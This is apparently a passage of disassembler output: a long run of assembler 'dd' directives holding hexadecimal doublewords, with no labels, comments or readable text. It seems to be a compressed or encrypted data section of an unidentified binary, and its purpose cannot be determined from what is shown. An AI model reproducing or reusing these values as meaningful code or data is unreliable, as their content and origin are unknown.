		dd 0EAADE14Bh, 0ECEC4E92h, 0E3389ACCh, 230FAF34h, 5A8B0F77h
		dd 0DD9843Eh, 8C1A3DF1h, 4235750Ah, 25E3BFDEh, 1EB565B3h
		dd 14E299AAh, 196E071Dh, 46A8E657h, 0DC31AB41h,	52BD0E87h
		dd 0CA062E31h, 0F4BEED10h, 24A3E2ADh, 33548BDEh, 1B7673A7h
		dd 0BE9FBA3h, 0E89F0C7h, 193B10D4h, 0E40C024Eh,	1E500603h
		dd 36C7EBD9h, 0FF45DFF7h, 12FA95BBh, 667197D7h,	64C408C7h
		dd 68812683h, 0E37E087Eh, 0BB53815Ah, 6B65D488h, 60EBD8FFh
		dd 17169039h, 0D07D6374h, 0D5E8BBC2h, 5EEA28D6h, 1417AA61h
		dd 71067510h, 2240E77Fh, 88575641h, 545FC383h, 61038082h
		dd 666007CBh, 8D272574h, 0C6811705h, 9198C2BAh,	0D89872EAh
		dd 0A5F47D1Ah, 0F6648502h, 0AB5B3DBCh, 0AF723C48h, 7F338DDFh
		dd 7C5DC3F9h, 4FE5522Fh, 0AAB65D40h, 66AE6D64h,	42BF0DFAh
		dd 0AFCC7FB5h, 0D3B78170h, 0AE07930Ah, 0FD5A3A96h, 0D6D6FEEDh
		dd 8D8B45A9h, 531E3EBCh, 8F050656h, 0B8C54E74h,	0CB7F11A9h
		dd 26FE6A03h, 84C08334h, 0B0EF3BE8h, 2C557653h,	69B1560Fh
		dd 2F4655FCh, 5055373Eh, 56361542h, 0AF87D422h,	0AE4495E5h
		dd 852694BEh, 9758AB8Ah, 9FB87557h, 0DCD2FDCCh,	0F52F9FACh
		dd 7C1041FBh, 978C30FCh, 5848B0A4h, 12755FB2h, 0EDB85740h
		dd 3B884112h, 15FFE002h, 35B8DF08h, 0BC44483Dh,	0EC3AC223h
		dd 43144CB4h, 1BB84F0Ch, 0C1318245h, 0BF132106h, 0F33B17C8h
		dd 0D2107E25h, 0FAE82F82h, 0DA2D30F9h, 39140D6Bh, 6E2A1C5Dh
		dd 55E8CB8Ch, 42C17E3h
		dd 9735A128h, 221B5AA5h, 9CDF561Ah, 0A708ED4Bh,	0AEFD55D6h
		dd 5D449D3Ch, 314AE7B7h, 0B20974C6h, 0DF9834A7h, 79ABB41Ah
		dd 785009F0h, 0D2D67D27h, 14BF1FAFh, 0F7013B6Ch, 458D417Fh
		dd 64CC6FC4h, 0AF7156CCh, 82195128h, 7DB840A2h,	720218C4h
		dd 38CA3E22h, 742D5D73h, 25E2701Ah, 0C7F8D33Ah,	9F43290h
		dd 723E08F2h, 76CA8504h, 49AA40ADh, 57DE67Ah, 0BE22A55Eh
		dd 7131AF31h, 96C49DC8h, 506E1808h, 78860F09h, 8635E928h
		dd 177AE9E2h, 0D1A45371h, 0F9096A2Dh, 0BA2B4B8Bh, 0EA946B72h
		dd 0C2E4E2ADh, 0DC185D23h, 0EFB75A74h, 0A31610E0h, 124C45DBh
		dd 9C505455h, 78C87D85h, 33F1AD93h, 57625CA0h, 12358BB7h
		dd 794634DCh, 8449ACE4h, 7AD64874h, 2B25E089h, 4F16EA61h
		dd 5A29BF8h, 2AD66F9Bh,	9BF6D85Bh, 635FDBCEh, 74FB6830h
		dd 861B982Dh, 4BEDB74Ch, 0DF2E161Ah, 2FE7B236h,	0B4214B8Ah
		dd 4B245450h, 85404008h, 4A8D56D2h, 0D5BAC98h, 0B05E88ADh
		dd 494BF1D0h, 1BF3C00Ch, 6C05EC5Eh, 0C2503F2Bh,	0AD7E5BBDh
		dd 8FF5666Ah, 3D6AC694h, 2DE817B7h, 26B0A302h, 2F3F2BF7h
		dd 0DDA350F8h, 0A1257E26h, 25A9E5A8h, 0F1F8BD0h, 58DC394h
		dd 0E42B1D64h, 52999B48h, 481CA314h, 54751A2Eh,	19EC6188h
		dd 21383DD5h, 8AE81181h, 0C9E27BFCh, 4D733E2Fh,	0FE6350AFh
		dd 0AA61D30Ch, 52AF8B05h, 3910608Dh, 5289DF74h,	75193438h
		dd 1D943713h, 31C44513h, 8BFC2B36h, 5628453Dh, 0D01A334Bh
		dd 1C9E3485h, 437CC3CCh, 48273F83h, 3273003Eh, 39B734FFh
		dd 4AC83C8Dh, 59FEB04Ah, 2A0B15A1h, 774676C2h, 0EB3DAFF2h
		dd 55C6A5F0h, 6C74A629h, 0D14F650Bh, 3C74826Fh,	0FE35EBh
		dd 0CB7048Fh, 6B757C32h, 0E8C1987Ah, 0B5A920DEh, 65A655B6h
		dd 283DE80Ah, 4013F66Ah, 54A196BAh, 83B00C0Eh, 14046E64h
		dd 791D2B1h, 8B484674h,	774C4CF3h, 0E0160694h, 99E2B951h
		dd 31832EB4h, 5BAAE856h, 37C6233Fh, 5049C82Bh, 0CF00B73Eh
		dd 1BDBF740h, 23D3D0E5h, 48EED84Fh, 4831703Dh, 0CBA74D87h
		dd 0A97D5F89h, 9C63CE8Ah, 0ED2D4431h, 505C7BC9h, 0FB07C465h
		dd 0DBC73EBh, 48A3802h,	0E13D3C38h, 4697847Fh, 2F79661Ah
		dd 2BCED762h, 0C13C8205h, 6FA77F8h, 0D010C352h,	0BEE34AFBh
		dd 0FF85C909h, 0C35F3648h, 8D481A92h, 0A740418h, 57AF108Bh
		dd 0F67B80C0h, 0F6A35553h, 548C045Eh, 3AC6A51Ah, 7FF9EEADh
		dd 0A5765E08h, 0DF54A370h, 505A1394h, 0B306AAE1h, 6890653h
		dd 0F959038Bh, 89E9EB25h, 35117718h, 68A36B5Fh,	0D80F7584h
		dd 0A834E89Fh, 0C5EE7B5Bh, 0FC3D52F8h, 66013A14h, 5B103A89h
		dd 4C7FB7D0h, 4F0E58F7h, 0C35B76BDh, 2E78C07Bh,	135B7AB5h
		dd 74539C2h, 9CEB113Eh,	55F4D024h, 411E14DFh, 0EA93C6D2h
		dd 69FFC38Dh, 4140290Ah, 0C99EC22Bh, 2528F0A5h,	327D5DC1h
		dd 490E8A14h, 0F14B6D0Bh, 0E45B1C2Ah, 450BE5DDh, 125A29CCh
		dd 0CBC0E87Fh, 0BB4A7DCCh, 184EFF43h, 3F883913h, 39E8320Ch
		dd 63445969h, 0CE7D8BF6h, 0FE723B12h, 0C25EAE44h, 5FACFE86h
		dd 4ED801F1h, 0CD06C70Ch, 0E8A4207Dh, 3371E630h, 4EE95ECEh
		dd 1214A9E1h, 6F411041h, 76A8B805h, 0F1FD32B2h,	1B4A8862h
		dd 2708785Dh, 1E507401h, 35678C21h, 0B84C0389h,	77346E32h
		dd 5AC2235Ch, 0CB40F856h, 47035056h, 1228C7ECh,	0F6A5328h
		dd 0D1A52097h, 9C6823EDh, 4DC1317Bh, 1C1C91F4h,	0CDB98D69h
		dd 6A9DA0C9h, 6A191468h, 0C73822E4h, 0E9300150h, 0B8894754h
		dd 0E7754450h, 5D286641h, 50F3EA60h, 37DE2C68h,	0E8E04D42h
		dd 295F6AFFh, 0D18CD56Eh, 0DCBFC420h, 90688636h, 0A0B83B80h
		dd 8FAA2AFCh, 55E2089h,	5BA7FF15h, 234E2DB5h, 746F961Ah
		dd 856D239h, 0E166438Ah, 0CB0B023Dh, 0F43819A9h, 0B814CC5Eh
		dd 84734868h, 0F167CBBCh, 90F0906Ch, 30FD958Ch,	520CC7E5h
		dd 67884257h, 0F9F5FC4h, 3C6613C4h, 38208448h, 97F2AEFEh
		dd 56A945D4h, 7A448268h, 2365C021h, 0E2548827h,	423CFDD8h
		dd 81381108h, 4274EB90h, 0C4D24A48h, 2E5CB1CCh,	0A585480Ch
		dd 516134C6h, 13E8E47Ah, 0FB867808h, 0A2C66420h, 521E1636h
		dd 3D995BBBh, 41241FA8h, 3D2173A0h, 25FF048Ah, 0D869B5D8h
		dd 6A1722Ch, 7C19AD9Ch,	3E3C514Bh, 0C3D6DCE8h, 839819ACh
		dd 77305AFBh, 72410D09h, 67AEB003h, 0C3022420h,	5D845A3Dh
		dd 3B22419Ch, 71F820C0h, 2E28FB42h, 3B9D373Ah, 0EBCE45D8h
		dd 9654B830h, 0E142323h, 50460658h, 0DD56E846h,	1AC7D8FEh
		dd 5FDE4707h, 59354951h, 26EF15Fh, 5CE2DC30h, 83C88661h
		dd 0C12BC306h, 6B82A45Bh, 9A5D2968h, 3BC0FF33h,	668A48BCh
		dd 84E34615h, 22D6477h,	0B84D9B1Ch, 0B41C5B14h,	0F12F8CBBh
		dd 70454D90h, 9C2E813Ah, 11D16347h, 0AC5F677Ah,	368390B9h
		dd 22222E0Ah, 0C7F85654h, 90979F98h, 0A55FC64Bh, 8D55493Dh
		dd 0C0245CC6h, 86255B74h, 488460DDh, 13CD3243h,	0B249531h
		dd 27835F49h, 8631EE47h, 7983134Ah, 46435008h, 0FF097406h
		dd 0B9297C71h, 7E25D563h, 62F726E1h, 0DD297D78h, 57124965h
		dd 69BE05E0h, 61DD2990h, 677DA5E7h, 2D1BF996h, 902851F4h
		dd 0D6E027E4h, 3AB86D46h, 51CBF4ACh, 32D481C6h,	0C00B094Fh
		dd 51BEF6C9h, 249F2311h, 4C64AB52h, 0DC34A596h,	73010916h
		dd 0A80278E2h, 0CC5F0274h, 6606362Ch, 6A4D347Bh, 33FE3615h
		dd 0BF15FB0Ch, 28BFCE16h, 0F5B611BAh, 740C29E8h, 9FFE0D04h
		dd 0B0259CEEh, 0FCBE567Dh, 3539F604h, 0FE27BC4Ch, 10BFB230h
		dd 88D5657h, 484DBC4Ch,	3CBEA32Ah, 8988C357h, 39BC4C62h
		dd 83100E75h, 0BC4CA101h, 101FFE09h, 1458450h, 3A070222h
		dd 0F6759098h, 3102D0E8h, 0B48BFD97h, 0C6B14CFEh, 5D8A0AFEh
		dd 3155F089h, 0D4685000h, 0CEBE4A0h, 0F6E561B4h, 1B4F62A9h
		dd 0BBBCAE62h, 51404FB2h, 1CA1FFE0h, 0D3117257h, 4A244FB6h
		dd 8BB264ACh, 0D47B4157h, 2F94EC2Eh, 7225DC95h,	74277924h
		dd 387987AAh, 811DF6F1h, 6074DE73h, 564A5357h, 48256195h
		dd 1C450F5Ch, 0C6DB4BAAh, 8B57A109h, 0C19DDA3Dh, 9EE81857h
		dd 728C6A4Ah, 0A395E22h, 2595046Eh, 92ED9954h, 10E42168h
		dd 0F7519598h, 2EB6689h, 0AD251757h, 0F5E113Ch,	0E5488CEDh
		dd 0ED121C5Ah, 0FD413AEh, 6974A15Bh, 0F8D11614h, 82A16DDh
		dd 740A0850h, 90240834h, 0FA121096h, 4F0DB1A0h,	520AEBCh
		dd 9923EB41h, 0AFC1A8Ch, 6C48C4Eh, 83CC19E8h, 6C728218h
		dd 1B3CE9DBh, 80C4D66h,	32C123E1h, 0FEC8888Bh, 2650A126h
		dd 0FF853396h, 88273AABh, 14A7057h, 6A504D8Ch, 64BC17C9h
		dd 28212042h, 7D211D44h, 687A0B18h, 492E0357h, 19180D39h
		dd 5FAFE62Ah, 7DED7BCDh, 3A106637h, 0FDD4B24Eh,	9A259FD0h
		dd 0A53D5148h, 0D4F9255Eh, 0D682B70Dh, 0CF9D5A9h, 5597CA34h
		dd 845C69CAh, 55874CC3h, 36448DE0h, 136C0252h, 59384DCEh
		dd 0BD0B4AEBh, 9EAE4CEh, 349155E3h, 0FD96BC7h, 8D0E477Ch
		dd 3464093Ch, 0EB7831Fh, 4E0A6E64h, 46240DE1h, 0B8EBD6D8h
		dd 38D6B421h, 747E4434h, 3E101965h, 571292D1h, 0E8144982h
		dd 0C69B5ED4h, 47E0A026h, 398D7F7Ch, 6636E9C8h,	83724370h
		dd 2DB10152h, 3077C608h, 0C32DB2E9h, 7F4950B8h,	61E2D63h
		dd 0CF02CCF9h, 9C681458h, 0C2E410B3h, 80B82294h, 37011D84h
		dd 0C04B0C5h, 0E1E45AF5h
		dd 6184F0ECh, 10B810FAh, 0E3259180h, 84E06067h,	85A82264h
		dd 2432D112h, 8CC1160h,	0F012A9BFh, 0DE094EE1h,	364CAD11h
		dd 5022842Eh, 0C29B4581h, 0B0F5019Fh, 0
		dd 87388000h, 8C8E1902h, 6A127C08h, 4A485A24h, 1C223A91h
		dd 40F80A44h, 0D489E48Bh, 0B624C612h, 8A91A448h, 58447222h
		dd 1222893Eh, 1BD12F12h, 22698AF6h, 4820D809h, 64564484h
		dd 8C127689h, 0AA48A224h, 0C822BA91h, 89ECD644h, 850811FCh
		dd 34241E02h, 5E914848h, 7E446E22h, 12A08990h, 48BC24ACh
		dd 22E291CEh, 860420F4h, 892A1244h, 246A1242h, 918E4882h
		dd 44AA229Eh, 0DE89CCB8h, 0D2EF212h, 9916987h, 44322224h
		dd 7089563Eh, 0A4249212h, 0D691BC48h, 88FCF222h, 38121C81h
		dd 60484624h, 78226C91h, 899C8A44h, 24C012B0h, 91E248D2h
		dd 896C7EF0h, 892809D1h, 24441236h, 91764860h, 4498228Ch
		dd 0D289BEAEh, 0F624E812h, 0E18A9B5Fh, 442C0922h, 5E89503Eh
		dd 86247812h, 0A2919448h, 0C244B222h, 1028ACEh,	8918410h
		dd 80068C07h, 890C090Fh, 24731274h, 910A4815h, 440D2202h
		dd 61CC2E01h, 0C809110Bh, 10910409h, 17440322h,	12128913h
		dd 5C062497h, 96800129h, 2C770730h, 0EE0E0061h,	990951BAh
		dd 6D7DC419h, 6AF48F00h, 63A53570h, 95A300E9h, 88329E64h
		dd 0A4070EDBh, 1E79DCB8h, 0D8E0D5E3h, 97D2D9h, 9B64C2Bh
		dd 7EB17CBDh, 0B82D0700h, 0BF1D91E7h, 10641D90h, 20F280B7h
		dd 71486AB0h, 0DEF3B900h, 7D84BE41h, 1ADA00D4h,	6DDDE4EBh
		dd 0F4F2B551h, 0D385C700h, 6C985683h, 0A8C00013h, 0F97A646Bh
		dd 0EC00FD62h, 4F8A65C9h, 0E14015Ch, 63066CD9h,	0FA0F3D20h
		dd 8000DF5h, 6E20C88Dh,	105E3Bh, 41E44C69h, 7172D560h
		dd 0D1A2671Eh, 473C0340h, 4B04D4h, 0D20D85FDh, 0A50AB56Bh
		dd 80A8FA3Ah, 0B2986C35h, 1C9D642h, 0F940DBBBh,	0F4E3ACBCh
		dd 750032D8h, 0CF45DF5Ch, 0DCD60Dh, 0ABD13D59h,	26D930ACh
		dd 1C063A4Ch, 0D7808051h, 0D06116C8h, 0F4B500BFh, 0C42321B4h
		dd 990056B3h, 0FCFBA95h, 72B8BDA5h, 2802009Eh, 5F058808h
		dd 0C00D9B2h, 0BE924C6h, 7C87B1h, 4C112F6Fh, 1DAB5868h
		dd 3DC16100h, 90B6662Dh, 76DC0041h, 1DB7106h, 0D20020BCh
		dd 0D5102A98h, 7E8589EFh, 0B51F00B1h, 0E4A506B6h, 33009FBFh
		dd 0A2E8B8D4h, 387807C9h, 0F00F934h, 9609A88Eh,	0E009818h
		dd 6A0DBBE1h, 3D2D7Fh, 6C97086Dh, 5C019164h, 0F4E66307h
		dd 62136B51h, 0D81CE861h, 85651C30h, 0F2073D4Eh, 0D00695EDh
		dd 1B01A57Bh, 8F4C100h,	0FC45782h, 0D9C600F5h, 0E95065B0h
		dd 0EA0012B7h, 7C8BBEB8h, 0FCB988h, 62DD1DDFh, 15DA2D49h
		dd 0D300F37Dh, 0D44C658Ch, 126158FBh, 9CE4DB2h,	0D4003A2Dh
		dd 30E2A3BCh, 41D4BB00h, 0D74ADFA5h, 0C4D86095h, 0FBA4D1C4h
		dd 0D3D6F400h, 4369E96Ah, 6ED913FCh, 67A40034h,	60B8D0ADh
		dd 2D73DA00h, 1DE54404h, 5F330003h, 0C9AA0A4Ch,	0DD070D7Ch
		dd 5005713Ch, 27024190h, 0BE210h, 0C2086BEh, 68B525C9h
		dd 85B3570Fh, 0D409406Fh, 9FB966h, 0ECE61E4h, 985EDEF9h
		dd 29D9C90Eh, 0B0D0A022h, 1D7A8B4h, 0B33D17C7h,	0E80D8159h
		dd 5C003B2Eh, 6CADB7BDh, 20C0BAh, 0B6EDB883h, 0C9ABFB3h
		dd 375E276h, 74B1D200h,	0EAD54739h, 7779AFh, 0DB26159Dh
		dd 0DC168304h, 0B127300h, 3B84E363h, 3E940164h,	0A80D6D6Ah
		dd 0FC7AD55Ah, 0E4010ECFh, 9309FF9Dh, 5370AE27h, 79E0FB1h
		dd 0F40447Dh, 8A3D2F0h,	0F2688700h, 0C2FE1E01h,	5D690006h
		dd 0CBF76257h, 80036567h, 196C3671h, 6E6BF8E7h,	0D41B0076h
		dd 0D32BE0FEh, 7A005A89h, 4ACC10DAh, 1C6F67DDh,	43F9B9DFh
		dd 438EBEEFh, 0D517B798h, 600EB0ECh, 20D6A3E8h,	0A1D1937Eh
		dd 0D8C200C4h, 0DFF25238h, 673EF14Fh, 5700F3BBh, 6DDA6BCh
		dd 4B3FB5h, 0DA48B236h,	4CD80D2Bh, 0AF0A1B03h, 0F0034AF6h
		dd 1D047A60h, 8EEFC341h, 674755DFh, 6E8E70A8h, 0BE007931h
		dd 0B38C4669h, 1ACB61h,	0A0BC6683h, 36256FD2h, 5268E200h
		dd 0CC0C7795h, 0B470003h, 216B9BBh, 26002F22h, 3BBE5505h
		dd 0FE28C5BAh, 92B200BDh, 42BB45Ah, 5C00B36Ah, 0C2D7FFA7h
		dd 0D0CF31h, 0D99E8BB5h, 0DEAE1D2Ch, 0B05B3Fh, 0F2269B64h
		dd 9CEC63h, 0A756AA3h, 0A9026D93h, 8009063Dh, 0EB0E363Fh
		dd 1C076785h, 571372h, 0BF4A8205h, 7A001495h, 2BAEE2B8h
		dd 387BB1h, 9B0CB61Bh, 0D92D28Eh, 0E5D5BE00h, 7CDCEFB7h
		dd 0DBDF0F21h, 0D3E1D40Bh, 0D8E24286h, 0B300F8F1h, 836E68DDh
		dd 0CD1FDAh, 5B81BE16h,	0E1F6B926h, 6FB0771Ch, 18B747C1h
		dd 7E305AE6h, 0F6A0070h, 63BCAFFh, 0B1E5C66h, 9E401101h
		dd 0AE698F65h, 0D3F83C62h, 616B93h, 78166CC5h, 0A0000AE2h
		dd 0D70DD2EEh, 48354h, 3B3C24Eh, 67266139h, 16F7A700h
		dd 474DD060h, 0DB490069h, 4A3E6E77h, 0AE00D16Ah, 0D9D65ADCh
		dd 3DF0B66h, 0D83BF040h, 0BCF05337h, 9E00C5A9h,	0CF7FDEBBh
		dd 3E947B2h, 1C30B5FFh,	8A88BDF2h, 0CA79BAC2h, 53B39300h
		dd 24B4A3A6h, 0D0363E05h, 0D70600FBh, 0DE5729CDh, 6700BF54h
		dd 7A2E23D9h, 0B8B366h,	2C4614Ah, 945D681Bh, 2A6F2B00h
		dd 0B40BBE37h, 0C8E1FA1h, 5DFC0C3h, 2EF8D5Ah, 59432D02h
		dd 0EA524542h, 47083104h, 722054F8h, 0EC48752Fh, 0F31EC50h
		dd 0A0D302Eh, 74736F40h, 2575203Ah, 754114C7h, 72D06897h
		dd 0EF617A69h, 126EBBD3h, 1B654E26h, 1A7714CCh,	4591DABh
		dd 0C71CC34Ch, 8C070A71h, 9E01553Fh, 70FF11C5h,	0F531FC8Bh
		dd 1932C23Fh, 241C5008h, 3411BF46h, 0C810D03Fh,	5C80C224h
		dd 0B669C233h, 15104640h, 981862C0h, 0CA3A8051h, 70D4111h
		dd 0CA83126Fh, 31F04517h, 99DA0A88h, 5F091E2Eh,	3E4C47C4h
		dd 0F074424Fh, 7D457D48h, 0FB537550h, 0F45443DCh, 319FE144h
		dd 0DF565E4Dh, 3E482352h, 37030614h, 306DD01h, 0EE02FA10h
		dd 2456404h, 30352105h,	2103C244h, 0C0382820h, 0E0080758h
		dd 79307137h, 21B8F157h, 0A917A3FCh, 67CB6860h,	16701203h
		dd 0AEFF0378h, 0F83BC845h, 5340FDFh, 281C0F1Ch,	751C6E1Ch
		dd 29056C19h, 0FF28AA4Ch, 17ECEFFBh, 0C879795Fh, 0C8B03109h
		dd 37657266h, 81397078h, 40646F6Dh, 79685F24h, 1074E9FFh
		dd 6B626163h, 8B082173h, 663F4C20h, 1750428Bh, 6F6C1062h
		dd 110DB143h, 0BE696563h, 6174118Dh, 0B96FF1A8h, 10DD7F36h
		dd 0F472718Fh, 2B613214h, 2D089A32h, 3C174210h,	340C4BEDh
		dd 4508A368h, 2FA2082Fh, 67B6C308h, 11403031h, 44E17789h
		dd 0C0012C7Eh, 50017E12h, 41808022h, 49E04772h,	5172F873h
		dd 0BDDB816Fh, 0D9468A0Eh, 0CB4675CAh, 941CDE20h, 4B267D6Eh
		dd 54E1272h, 3323365h, 302B6535h, 0A8A9288Fh, 4220C407h
		dd 0E109CE06h, 801104Dh, 1048224Ah, 3211CD28h, 7A181108h
		dd 7E109D24h, 0DC462829h, 0ADE57419h, 25AD0838h, 681199C6h
		dd 0E218089Dh, 0EF312603h, 4842F313h, 5820D0BDh, 0DE206774h
		dd 8E432C4Ah, 9210312Ch, 41757209h, 316D69B3h, 1FCDCBEDh
		dd 50643BCFh, 5342C354h, 8D0E248Dh, 4E49F4FCh, 0DC0F4752h
		dd 4D4F4405h, 124EFC0Ah, 18365250h, 12383230h, 90D4202Dh
		dd 906C319Eh, 43EA6F74h, 4197954Ah, 1C520CCBh, 70E1E768h
		dd 28023849h, 216E1137h, 0A7CB0E2h, 0F6686775h,	96704873h
		dd 0F1664866h, 697776A0h, 8BA639A5h, 9C533868h,	2BC44C6Bh
		dd 35593864h, 9B927008h, 694C76EAh, 44DA7816h, 63A60568h
		dd 6F7B241Eh, 1952DA1Ah
		dd 604F3428h, 21565FCDh, 2FBA9A05h, 0DD0708B2h,	6023E321h
		dd 0F839318Ah, 0BE7093F3h, 1A64D2B3h, 0BB432113h, 2CA5E87Ch
		dd 5C923891h, 0EC82E853h, 0AB1A9164h, 11244858h, 0C26DF237h
		dd 8AD0B33h, 611AC09Dh,	63228218h, 0AD30BC6Bh, 6E35C818h
		dd 5FFE5B53h, 89A30641h, 266D7244h, 79827001h, 6FEBFD67h
		dd 15F29642h, 15E73037h, 6A503F39h, 56B24222h, 44E06B6Dh
		dd 8D382C5Eh, 0A8FF1C6Fh, 73482975h, 6110A560h,	62B54D2Ch
		dd 8F676EDFh, 0CD0C1B83h, 8E253B5Ah, 89805527h,	0C22E0D4Dh
		dd 3D663A43h, 9177562Ch, 2B430EABh, 7352D33Eh, 62AA4C9Dh
		dd 794AB58Eh, 5D0A1A28h, 22451731h, 2421320Fh, 3AD5B050h
		dd 2E41CD20h, 4A3CC102h, 0B3E141E6h, 4A6B5A4Dh,	387213DAh
		dd 3D40E508h, 5309CCE9h, 0D5A14D36h, 5765D854h,	68B386A3h
		dd 697246E8h, 0C061532Ch, 1CC44A45h, 4D62D4C1h,	9241E49Bh
		dd 0EC790C3Fh, 0F96C064Eh, 6553E640h, 994F4870h, 766F4E07h
		dd 4CF49E44h, 85A5419h,	4C74EC47h, 41E854B8h, 765C579Ah
		dd 39034803h, 8145575h,	0EAA15710h, 4D487464h, 613F27BAh
		dd 0AE423D67h, 31033F78h, 0B74E5123h, 61111A2Eh, 91C24646h
		dd 530C4408h, 84A031D1h, 0BE0E60BAh, 29A86196h,	102D0361h
		dd 107E2C09h, 0D52264E2h, 6266F620h, 654C2178h,	0B3673230h
		dd 76DC32E8h, 646406C9h, 69937216h, 0E191FD3Ch,	59C43138h
		dd 1418665Bh, 43201A8Ah, 83968CB3h, 6608E012h, 31F7287Fh
		dd 13113862h, 9CC0668h,	94365549h, 0D77824DFh, 42467015h
		dd 730E7E01h, 1001E06Dh, 90503E3h, 19930520h, 8A1068DAh
		dd 468E3A6Ah, 3A6B0710h, 7F0C520Bh, 46036C40h, 115C336Dh
		dd 44090B60h, 0A4B643D7h, 5C640C8Ch, 192F0131h,	0E0687DF8h
		dd 0CB0109A1h, 7E104AC8h, 402014ADh, 7C291C66h,	48025211h
		dd 47E40B1h, 3224C2Eh, 44D05847h, 9C296832h, 8C914C9Dh
		dd 0A08FA4BCh, 29B46544h, 2BF83FC0h, 46A30D8h, 146DF045h
		dd 7EF83C01h, 3091704Ah, 787F1C84h, 4D288944h, 2AC4814h
		dd 49A17089h, 11FF7101h, 1C486DE0h, 3010D1D8h, 23DEA0C8h
		dd 0C1E6E04h, 48D0C421h, 3CE09E01h, 0F42AB442h,	490B842h
		dd 5868F829h, 4043D7CAh, 0A0602A29h, 80082928h,	0EC28F290h
		dd 930C7968h, 0D0126C09h, 1C0E142Dh, 18231C22h,	0BC7C1066h
		dd 13038982h, 48D93264h, 74982C09h, 8A46568h, 0CC6CC6FFh
		dd 0C8983C53h, 24815EA0h, 0C4210F4Eh, 290F60F9h, 9CF9E0E8h
		dd 0DEC8A84Bh, 3C810CE2h, 15DC7757h, 88A88128h,	81487872h
		dd 0A1B8CA85h, 64BAE240h, 0B0106C31h, 28AE0283h, 8C81264Bh
		dd 89471D8h, 3CB214B8h,	0D844E024h, 67A83881h, 4A70198Ch
		dd 959776C8h, 10ECF7D8h, 0E4E4E57h, 4323645Fh, 9B8F6E6Fh
		dd 327ECD44h, 50074DE0h, 6C642E52h, 5714181Eh, 0D0CAFD53h
		dd 3047DC2Bh, 335F3219h, 71957E7h, 0A14505B9h, 94B46DC2h
		dd 433D70E2h, 48F4786Ch, 3A6E6137h, 1C660D6Eh, 743F2F3Ch
		dd 75621ED3h, 0C470017Dh, 64314D7Eh, 69463C75h,	0C64E0893h
		dd 0C1422D48h, 7379530Dh, 6944FC54h, 6FFB7267h,	562EB85Fh
		dd 44536F03h, 691F70AEh, 89549646h, 835C927Ch, 32F26C1Fh
		dd 4C41AD74h, 0D84FF342h, 1480851Fh, 7E754A43h,	6E54CA75h
		dd 89495194h, 0EC017166h, 4CD99C4Eh, 4DD4384h, 407970CAh
		dd 0D1CC1946h, 9C760B38h, 75620DBEh, 5EA808B0h,	94168F84h
		dd 66E4BE7Fh, 901E29E2h, 69DB5703h, 53AE2756h, 4F24FB0Ch
		dd 0C06A622Ah, 0B48E0A90h, 78754D64h, 5442DF48h, 2F404369h
		dd 0CBA375F2h, 0B6ED035Fh, 8AD74229h, 1A822D5h,	28507033h
		dd 6E651968h, 5C76D202h, 4CF852E4h, 0B327D2B4h,	0A03934ADh
		dd 5DDF3559h, 38F7A9AFh, 9BF81429h, 0E1247C6Fh,	50EF5672h
		dd 92D8729Ah, 6E3C49FCh, 0E9256466h, 42245623h,	4595DD73h
		dd 0BCBA2497h, 5151586Ah, 0E610CCB6h, 2672B983h, 0B3536BC9h
		dd 98303705h, 1FAD6D4Ch, 2240B18h, 2391E549h, 8741641Dh
		dd 1170A51Dh, 8189EDDEh, 413CB03Ah, 203AA448h, 0E0E38672h
		dd 9430934Fh, 6E268045h, 2B54162h, 5C945452h, 1C53141Bh
		dd 5E890CD5h, 0F5A53A1Ch, 0C4933038h, 0C96C7075h, 7A9474B9h
		dd 0B908424Ch, 8ECADCC3h, 0AD706919h, 359226E0h, 0C1B5AE6Dh
		dd 87477402h, 70BF4412h, 66563E2h, 4CE35315h, 16DA708Ah
		dd 0E0E046BAh, 1744E1C5h, 0CD3F3F1Dh, 650C90B9h, 182DC464h
		dd 0F197B4Dh, 3E54DCC1h, 6C7863C2h, 8B14B057h, 8D085110h
		dd 1BC1110Dh, 508B8A32h, 0D1DCC9CBh, 9702EEA8h,	0F9CD4325h
		dd 0AD8863DEh, 4C32DD66h, 4DA2748Eh, 704CC9FAh,	0A4BA576h
		dd 6E24C1FCh, 85C544A2h, 0B755A937h, 1096F938h,	0A30CAC8Ch
		dd 56755102h, 8506579h,	6EF12166h, 0B046F663h, 1AA4C1CAh
		dd 0E3FB46F9h, 12266771h, 0DF80779h, 39FBF619h,	2F545994h
		dd 6FC59645h, 0A4722A56h, 16E057B7h, 42480225h,	282C0B8Ah
		dd 418E0CBCh, 48FA3B6Ch, 50A5BCECh, 3C611693h, 2B560389h
		dd 75524634h, 0B8249219h, 2543FE23h, 3C5C4D24h,	0CEC5D565h
		dd 9CCE4824h, 0A724F31Ch, 0A804CCCBh, 69020A40h, 5BF8C247h
		dd 0D16E5533h, 320236Bh, 3F0E4C95h, 5E30EC71h, 65D6C170h
		dd 33664F77h, 62682C59h, 54E41021h, 356968CFh, 0AD67C026h
		dd 0A5961F48h, 86BA3537h, 0BC650E21h, 4A704092h, 5F019E94h
		dd 92032553h, 0A443942Dh, 524164CAh, 21112168h,	42A74C0Ah
		dd 1EB6796Eh, 0DA0C0255h, 8021332Eh, 0BE6C03C3h, 6D630D3Bh
		dd 5A7092E6h, 97D55234h, 9C648D09h, 2913DE2h, 0B16BFCFDh
		dd 326413D9h, 0CC4C78BFh, 8C506758h, 0FB76E444h, 0F0044995h
		dd 899031D5h, 2D3DC64Bh, 0D47C1A48h, 3F7E5650h,	74497AD7h
		dd 7B772621h, 2E22CB8h,	0BB455A51h, 4F54228Dh, 91C8DAD8h
		dd 65E8C86Ch, 0A2105AB7h, 0D870A6A5h, 70BB104Bh, 98AC1DA4h
		dd 5C247EB6h, 84F65CE8h, 0FD18584Ch, 90145094h,	0F11211D6h
		dd 15D66F24h, 78560E12h, 0CA836C64h, 0CA37480Ah, 0BBC80E81h
		dd 82360BCEh, 62427370h, 6835C617h, 21F07C50h, 0E4CBD84h
		dd 1C59FDC9h, 0C941A35h, 454F1602h, 0A70C854Dh,	2813EE13h
		dd 4565AE1Fh, 701C956Bh, 16D6CF4Ch, 43F00934h, 0CAB2E82Ah
		dd 104594EAh, 0B30E57E2h, 1B68324Bh, 42759D72h,	9A32FB53h
		dd 0A706C6F6h, 3BF745F8h, 55A2641Ah, 1943149Fh,	18575370h
		dd 248249A4h, 0F56C7C92h, 0B9C43894h, 0BB648A98h, 6626B8E7h
		dd 70795890h, 60A13781h, 1DEEE51Eh, 1404E68Ch, 423C2068h
		dd 9DC96638h, 85BA2866h, 34826386h, 69BDF825h, 4AF19012h
		dd 33ACFD91h, 0A3268893h, 29B8876Ah, 0B0241030h, 10141068h
